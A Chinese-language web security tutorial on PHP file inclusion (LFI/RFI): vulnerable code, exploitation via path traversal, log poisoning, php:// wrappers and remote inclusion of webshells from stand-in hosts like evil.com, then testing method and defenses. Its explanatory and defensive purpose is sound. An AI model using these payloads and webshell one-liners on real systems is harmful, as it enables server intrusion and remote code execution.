文件包含漏洞:从原理到实战的Web安全深度解析

📅 2026/6/24 11:10:59
文件包含漏洞:从原理到实战的Web安全深度解析
1. 文件包含漏洞一个被低估的“入口”在Web安全测试的日常里我们常常把目光聚焦在SQL注入、XSS跨站脚本这些“明星”漏洞上它们直接、后果明显容易引起重视。但在我处理过的众多渗透测试和应急响应案例中文件包含漏洞File Inclusion Vulnerability常常扮演着一个低调却极其危险的角色。它不像注入那样直接窃取数据也不像XSS那样在用户端弹窗但它能为攻击者打开一扇通往服务器深处的“任意门”是权限提升和进一步渗透的绝佳跳板。很多开发者和初级安全工程师容易忽略对它的检查认为只要不直接执行上传的文件就万事大吉殊不知通过包含include或读取read函数的路径操纵攻击者能做的事情远超想象。简单来说文件包含漏洞允许攻击者通过Web应用程序的参数动态包含并执行服务器上的文件。这通常发生在应用程序使用诸如include()、require()、include_once()、require_once()PHP、% include fileJSP等函数时未能对用户输入的文件路径或名称进行严格的过滤。根据包含的目标文件是否在服务器本地它可以分为本地文件包含和远程文件包含。LFILocal File Inclusion让你能读取服务器本地的敏感文件如/etc/passwd、配置文件、日志文件而RFIRemote File Inclusion则更可怕它允许包含并执行来自远程服务器如攻击者控制的网站的恶意代码相当于直接获得了在目标服务器上执行任意代码的能力。这个漏洞的“魅力”在于它的间接性和后续利用的无限可能。你可能只是通过一个不起眼的参数读取到了一个数据库配置文件从而拿到了数据库权限或者通过包含日志文件将PHP代码写入日志再包含该日志文件从而执行代码。它考验的是攻击者对服务器环境、应用程序逻辑的熟悉程度和想象力。对于防守方而言理解和防御文件包含漏洞是构建纵深防御体系不可或缺的一环。接下来我将深入拆解它的原理、利用手法、实战场景以及最关键的——如何从开发和运维两端彻底堵上这个漏洞。2. 漏洞原理深度剖析为什么“包含”会出问题要理解文件包含漏洞必须从Web应用程序的动态特性说起。现代Web应用为了提升开发效率和代码复用普遍采用模块化设计。例如一个网站的头部导航栏header、尾部版权信息footer在很多页面都是相同的。聪明的做法不是在每个页面重复编写这些代码而是将它们写成独立的文件如header.php、footer.php)然后在每个需要它们的页面中使用包含函数将其引入。2.1 动态包含的初衷与风险设想一个简单的PHP页面page.php它根据用户传递的参数来展示不同的内容模块?php $module $_GET[module]; // 用户通过 ?modulenews 传递参数 include(/includes/ . $module . .php); ?开发者的本意是当用户访问page.php?modulenews时程序会包含/includes/news.php文件并展示新闻内容访问page.php?modulecontact时则包含/includes/contact.php。这里的风险点完全集中在$module这个变量上。程序天真地相信用户传入的module参数一定是一个存在于/includes/目录下的、合法的文件名不带路径。然而攻击者不会这么守规矩。2.2 路径遍历LFI的核心攻击者可以尝试传入../../../etc/passwd。拼接后代码变成了include(/includes/../../../etc/passwd);在操作系统的路径解析中/includes/../等价于上一级目录。经过规范化这个路径实际上指向了/etc/passwd。如果Web服务器进程如www-data用户有读取这个文件的权限那么Linux系统的用户账户信息就会通过include函数被读取并输出到网页上。这就是一次典型的本地文件包含攻击。注意include和require在包含非PHP文件时会直接将其内容作为文本输出。这对于读取配置文件、日志等纯文本文件是有效的。但如果包含的是一个PHP文件该文件中的PHP代码会被执行。2.3 远程文件包含更致命的RFIRFI的发生需要更宽松的条件PHP配置中的allow_url_include选项必须为On现代PHP版本默认均为Off但历史遗留或配置不当的系统仍可能存在。如果该选项开启攻击者可以传入一个远程URLpage.php?modulehttp://attacker.com/shell.txt程序会尝试去包含http://attacker.com/shell.txt的内容。如果shell.txt中包含PHP代码如?php system($_GET[‘cmd’]);?那么这段代码会被下载并在当前服务器上执行。攻击者瞬间就获得了一个WebShell可以执行任意系统命令。RFI的危害等级通常直接定为“严重”。2.4 漏洞产生的根本原因归结起来产生文件包含漏洞的根本原因有三点不可信的用户输入直接拼接进文件路径这是所有注入类漏洞的共性。程序没有对输入进行“消毒”。使用了动态包含函数include、require等函数本身是强大的但错误的使用方式使其变得危险。缺乏有效的路径过滤与白名单机制程序没有限制可包含文件的目录范围或者没有校验文件后缀。理解了这个原理我们就能明白防御的核心不在于禁用这些有用的函数而在于如何安全地使用它们。3. 利用手法实战详解从信息泄露到getshell知道原理只是第一步实战中如何利用才是关键。文件包含漏洞的利用方式多样往往需要结合其他信息或技巧。下面我以PHP环境为例分享几种经典的利用场景。3.1 基础LFI读取敏感文件这是最直接的应用。目标是读取服务器上的敏感信息为进一步攻击做准备。系统文件/etc/passwd确认用户列表寻找可登录用户。/etc/shadow读取密码哈希需要root权限通常读不到但一旦读到就是重大发现。/proc/self/environ包含当前进程的环境变量可能泄露路径、密钥等信息。/proc/version//etc/issue获取操作系统版本信息。Web应用文件../config/database.php读取数据库连接配置直接获取数据库用户名、密码。../.env现代框架如Laravel的配置文件常包含各种密钥。../index.php通过包含自身或其他源码文件有时可以绕过某些过滤或者直接查看源码寻找其他漏洞。日志文件这是LFI升级为代码执行的关键跳板。Web服务器如Apache, Nginx和应用程序都会生成日志。Apache访问日志通常位于/var/log/apache2/access.log或/var/www/logs/access.log。Nginx访问日志通常位于/var/log/nginx/access.log。SSH/FTP登录日志/var/log/auth.log/var/log/secure。利用示例假设存在漏洞的URL为http://target/vuln.php?filewelcome.php。 尝试读取密码文件http://target/vuln.php?file../../../etc/passwd如果返回了用户列表说明LFI存在并且Web进程有权读取该系统文件。3.2 LFI升级为代码执行利用日志与协议单纯的读取信息还不够我们的目标是执行命令。当allow_url_includeOff时可以通过一些“奇技淫巧”将LFI转化为RCE。方法一污染日志文件这是最经典的手法。攻击者无法直接上传文件但可以让应用程序将PHP代码写入日志文件然后去包含这个日志文件。找到日志路径通过LFI读取/proc/self/environ或猜测常见路径确定访问日志的位置例如/var/log/apache2/access.log。污染日志在发起HTTP请求时在User-Agent、Referer或请求路径中插入PHP代码。因为日志会记录这些字段。GET /vuln.php?filewelcome.php HTTP/1.1 Host: target User-Agent: ?php system($_GET[‘c’]);?这段代码会被原样记录到access.log中。包含日志文件访问http://target/vuln.php?file../../../var/log/apache2/access.log。此时日志文件被包含其中的PHP代码?php system($_GET[‘c’]);?会被执行。执行命令现在通过参数c传递命令即可http://target/vuln.php?file../../../var/log/apache2/access.logcid。服务器会执行id命令并返回结果。实操心得现代Web服务器或安全软件可能会对日志中的特殊字符进行编码导致?php ?标签被转义而失效。可以尝试使用短标签?或利用编码绕过。此外日志文件通常很大包含可能导致超时或内存耗尽。最好先通过LFI在日志文件末尾写入一句话WebShell然后包含这样更稳定。方法二利用PHP封装协议PHP提供了一系列php://封装协议它们不是真实的文件而是数据流。这在LFI利用中极为有用。php://input允许你读取POST请求的原始数据作为文件内容。需要allow_url_includeOn。利用方式POST /vuln.php?filephp://input HTTP/1.1 ... ?php system(id);?服务器会执行POST body中的PHP代码。php://filter这是一个元封装器用于在数据流打开时应用过滤器。它不需要allow_url_includeOn是LFI利用中最常用的协议。读取源码当直接包含PHP文件时代码会被执行而非显示。使用filter可以读取源码。vuln.php?filephp://filter/convert.base64-encode/resourceindex.php这会将index.php的内容进行base64编码后输出。解码即可获得源代码便于审计其他漏洞。写入文件结合其他漏洞通过filter的string.rot13、convert.base64-decode等过滤器有时可以构造特殊内容但通常需要其他条件配合不如日志污染直接。方法三利用其他可写文件除了日志任何Web应用有写入权限且能被包含的文件都可以成为目标。例如Session文件PHP的Session数据通常存储在文件中如/tmp/sess_[sessionid]。如果攻击者能控制部分Session数据例如存在一个将用户输入存入$_SESSION的功能就可以将PHP代码写入Session文件然后包含它。需要知道Session ID。上传文件的临时目录某些情况下即使上传功能检查了文件后缀但临时文件可能在删除前被包含。框架缓存文件一些框架生成的缓存文件可能包含用户数据。3.3 RFI的直球攻击如果确认目标存在RFIallow_url_includeOn利用起来就简单粗暴得多。在攻击者控制的服务器上如http://evil.com/放置一个包含PHP代码的文本文件例如shell.txt内容为?php eval($_POST[‘a’]);?。直接请求http://target/vuln.php?filehttp://evil.com/shell.txt。目标服务器会下载并执行shell.txt中的代码攻击者便可以用中国菜刀、蚁剑等工具连接http://target/vuln.php?filehttp://evil.com/shell.txtPOST参数a系统命令即可获得一个交互式WebShell。注意事项RFI利用时远程文件的内容必须能被目标服务器作为PHP代码解析。如果目标服务器对包含的URL有后缀检查如要求.php可以尝试在URL后加?或#来绕过如http://evil.com/shell.txt?.php。或者控制一个支持PHP解析的服务器来存放恶意文件。4. 漏洞挖掘与测试方法论在实际的渗透测试中如何系统地发现文件包含漏洞靠瞎猜参数名是不可行的。下面是我常用的一套流程。4.1 参数识别与模糊测试首先需要找到所有可能接受文件路径的参数。爬取与参数收集使用爬虫工具如Burp Suite的爬虫、gospider遍历目标网站收集所有URL和参数。关注参数名如file,page,path,load,include,module,template,p,doc等。静态分析如果能有源码白盒测试或部分泄露直接搜索include,require,file_get_contents,fopen等函数看其参数是否有用户输入来源$_GET,$_POST,$_COOKIE,$_REQUEST。动态模糊测试对收集到的参数进行测试。基础测试替换参数值为已知存在的本地文件路径如../../../../etc/passwd。使用不同深度的../进行尝试。协议测试尝试使用php://filter/resource/etc/passwd或php://inputPOST数据等。空字节截断PHP5.3.4在路径后添加空字节%00可以截断后缀检查。如../../../etc/passwd%00。虽然现在很少见但测试老系统时值得一试。路径拼接绕过如果程序自动添加后缀如.php可以尝试使用../../../etc/passwd%00空字节或../../../etc/passwd?.php问号来绕过。4.2 上下文分析与利用链构建找到可疑点后不要满足于读取一个/etc/passwd。要深入分析构建利用链。信息收集利用LFI尽可能多地读取信息。Web配置读取/etc/apache2/sites-available/000-default.conf了解网站目录结构。应用源码用php://filter读取关键业务逻辑文件寻找数据库配置、其他漏洞如反序列化、命令注入。环境信息读取/proc/self/environ寻找数据库密码、密钥等。寻找可写点判断哪些路径是Web用户可写的。可以尝试包含/proc/self/cwd/当前工作目录下的文件或者通过包含报错信息来泄露绝对路径。尝试升级到RCE检查/proc/sys/kernel/randomize_va_space值如果是0可能未开启地址空间随机化ASLR有利于某些高级利用如通过/proc/self/mem修改内存但这属于较深领域。首选日志污染尝试包含各种日志文件并在请求中注入代码测试。测试Session文件包含如果网站使用Session尝试固定Session ID并寻找将输入存入Session的功能点。4.3 自动化工具辅助手工测试是基础但结合工具能提升效率。Burp Suite Intruder对参数进行批量模糊测试使用包含常见路径和绕过技巧的字典。ffuf / gobuster用于模糊测试参数值速度很快。专用扫描器像Liffy这样的开源工具可以自动化测试LFI并尝试多种利用方式。自定义脚本根据目标情况编写Python脚本自动化测试日志污染、Session包含等复杂流程。踩坑记录在一次测试中我发现一个参数?lang存在LFI但只能读取*.php文件。程序自动添加了.php后缀。我尝试了../../../etc/passwd%00无效PHP版本高。最终发现程序在包含前对路径做了realpath()解析但解析后仍然拼接了后缀。我通过php://filter/convert.base64-encode/resource../../../etc/passwd成功读取因为resource后面的部分被当作一个整体后缀拼接在了整个协议字符串后面而php://filter协议忽略了它。这说明面对过滤需要多角度尝试不同的协议和技巧。5. 防御方案从开发到部署的全链路防护修复文件包含漏洞必须从软件开发的生命周期开始贯穿至部署运维。单一措施往往不够需要层层设防。5.1 安全开发实践根本解决这是最有效的一环需要在编码阶段就杜绝漏洞。避免动态包含用户输入这是黄金法则。如果可能尽量使用静态包含或安全的映射方式。使用白名单机制如果动态包含无法避免必须使用白名单。// 错误示范 $page $_GET[page]; include($page . .php); // 正确示范白名单 $allowed_pages [home, news, contact, about]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(error.php); // 或直接die(Invalid page); }白名单内的值应该是简单的标识符而不是路径。严格限制路径如果必须允许一定程度的动态性应将包含文件限制在特定目录内并使用basename()函数去除路径。$file basename($_GET[file]); // 移除所有路径信息只保留文件名 include(/safe_directory/ . $file . .php);同时确保safe_directory目录下没有敏感文件。禁用危险函数/配置辅助措施在php.ini中设置allow_url_include Off默认已是Off。这是阻止RFI的最直接方法。考虑禁用allow_url_fopen但这会影响正常的远程文件读取功能需权衡。在代码层面避免使用include/require包含来自用户输入的变量。如果框架允许可以重写或监控这些函数。5.2 安全配置与加固运维层面开发可能遗留问题运维需要兜底。最小权限原则运行Web服务的用户如www-data,nginx应该拥有尽可能少的权限。不能读取/etc/shadow、/root等敏感目录。Web根目录以外的文件该用户应无权访问。可以通过操作系统的文件权限chmod, chown严格控制。修改日志文件权限和位置将Web日志文件设置为仅对root用户可读。chmod 640 /var/log/apache2/access.logchown root:www-data /var/log/apache2/access.log。将日志文件移到Web根目录之外或者使用一个难以猜测的随机名称。配置Web服务器Apache使用php_admin_value在虚拟主机配置中强制关闭allow_url_include。VirtualHost *:80 ServerName myapp.local php_admin_value allow_url_include Off /VirtualHostNginx PHP-FPM在PHP-FPM的池配置www.conf中设置php_admin_value[allow_url_include] Off部署Web应用防火墙在应用前端部署WAF可以配置规则拦截包含../、php://、http://等特征的恶意请求。但WAF是缓解措施不能替代代码修复。5.3 安全测试与监控防御是一个持续的过程。代码审计在开发流程中引入安全代码审计SAST自动或人工检查代码中是否存在不安全的文件包含函数调用。渗透测试定期对线上系统进行黑盒/白盒渗透测试主动寻找包括文件包含在内的漏洞。日志监控集中监控Web访问日志和系统日志设置告警规则对频繁出现路径遍历特征如大量../的请求进行告警和调查。文件包含漏洞就像系统的一道暗门它可能看起来不起眼但一旦被攻击者发现并利用就能长驱直入。它的防御需要开发者和运维人员的共同重视。开发者要写出安全的代码从源头上关门运维者要做好系统加固让即使存在暗门也难以被推开。在安全的世界里没有一劳永逸的解决方案只有持续的关注、学习和实践才能构建起真正有效的防线。